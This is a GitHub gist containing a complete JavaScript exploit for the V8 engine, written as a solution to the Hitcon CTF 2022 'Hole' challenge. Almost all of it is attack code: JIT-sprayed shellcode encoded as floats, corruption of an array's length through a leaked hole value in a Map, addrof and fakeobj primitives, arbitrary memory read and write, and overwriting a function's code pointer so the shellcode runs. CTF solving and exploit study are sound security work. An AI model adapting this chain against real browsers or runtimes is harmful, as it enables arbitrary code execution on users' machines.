Created
November 29, 2022 18:40
-
-
Save hoefler02/ea896653ffa751a574aa66121eef3e70 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* V8 Exploitation | |
* Michael Hoefler | |
* Hitcon CTF 2022 - Hole | |
*/ | |
// https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/ | |
// Helper functions to convert between float and integer primitives | |
var buf = new ArrayBuffer(8); // 8 byte array buffer | |
var f64_buf = new Float64Array(buf); | |
var u64_buf = new Uint32Array(buf); | |
function ftoi(val) { // typeof(val) = float | |
f64_buf[0] = val; | |
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness | |
} | |
function itof(val) { // typeof(val) = BigInt | |
u64_buf[0] = Number(val & 0xffffffffn); | |
u64_buf[1] = Number(val >> 32n); | |
return f64_buf[0]; | |
} | |
function hex(val) { | |
return "0x" + val.toString(16); | |
} | |
// JIT Spraying For Later | |
const foo = ()=> | |
{ | |
return [1.0, | |
1.95538254221075331056310651818E-246, | |
1.95606125582421466942709801013E-246, | |
1.99957147195425773436923756715E-246, | |
1.95337673326740932133292175341E-246, | |
2.63486047652296056448306022844E-284]; | |
} | |
for (let i = 0; i < 0x10000; i++) {foo();foo();foo();foo();} | |
for (let i = 0; i < 0x10000; i++) {foo();foo();foo();foo();} | |
var map = null; | |
var arr = null; | |
function get_map(m) { | |
m = new Map(); | |
m.set(1, 1); | |
m.set([].hole(), 1); | |
m.delete([].hole()); | |
m.delete([].hole()); | |
m.delete(1); | |
return m; | |
} | |
map = get_map(map); | |
arr = new Array(1.1, 1.1); | |
map.set(0x10, -1); | |
// Overwrite the length of arr | |
map.set(arr, 0xffff); | |
// %DebugPrint(arr); | |
var float_arr = new Array(1.1, 1.1); | |
var object_arr = new Array({}, {}); | |
fl_map = ftoi(arr[8]) >> 32n; | |
obj_map = ftoi(arr[21]) >> 32n; | |
off = obj_map - fl_map | |
console.log("[+] Float Map: " + hex(fl_map)); | |
console.log("[+] Object Map: " + hex(obj_map)); | |
map_sec_base = fl_map - 0xd9c1n; | |
console.log("[+] Map Section Base : " + hex(map_sec_base)); | |
function addrof(o) { | |
s = object_arr[0]; | |
object_arr[0] = o; | |
arr[21] = itof((fl_map << 32n) + (ftoi(arr[21]) & 0xffffffffn)); | |
r = ftoi(object_arr[0]); | |
arr[21] = itof((obj_map << 32n) + (ftoi(arr[21]) & 0xffffffffn)); | |
object_arr[0] = s; | |
return r & 0xffffffffn; | |
} | |
function fakeobj(a) { | |
s = float_arr[0]; | |
float_arr[0] = itof(a); | |
arr[8] = itof((obj_map << 32n) + (ftoi(arr[8]) & 0xffffffffn)); | |
o = float_arr[0]; | |
arr[8] = itof((fl_map << 32n) + (ftoi(arr[8]) & 0xffffffffn)); | |
float_arr[0] = s; | |
return o; | |
} | |
var fake_arr = [itof(fl_map), 1.1, 1.2, 1.3]; | |
var fake = fakeobj(addrof(fake_arr) + 0x20n); | |
function read(a) { | |
p = fake_arr[1]; | |
if (a % 2n == 0) { | |
a += 1n; | |
} | |
fake_arr[1] = itof((8n << 32n) + (a - 8n)); | |
l = ftoi(fake[0]); | |
fake_arr[1] = p; | |
return l; | |
} | |
function write(a, v) { | |
p = fake_arr[1]; | |
if (a % 2n == 0) { | |
a += 1n; | |
} | |
fake_arr[1] = itof((8n << 32n) + (a - 8n)); | |
fake[0] = itof(BigInt(v)); | |
fake_arr[1] = p; | |
} | |
faddr = addrof(foo) | |
jaddr = read(faddr + 0x18n) & 0xffffffffn; | |
code = read(jaddr + 0xcn) + 0x73n; | |
console.log("[+] JIT Shellcode: " + hex(code)); | |
f = () => 123; | |
f_code = read(addrof(f) + 0x18n) & 0xffffffffn; | |
console.log("[+] Function Code: " + hex(f_code)); | |
write(f_code + 0xcn, code); | |
f(); | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment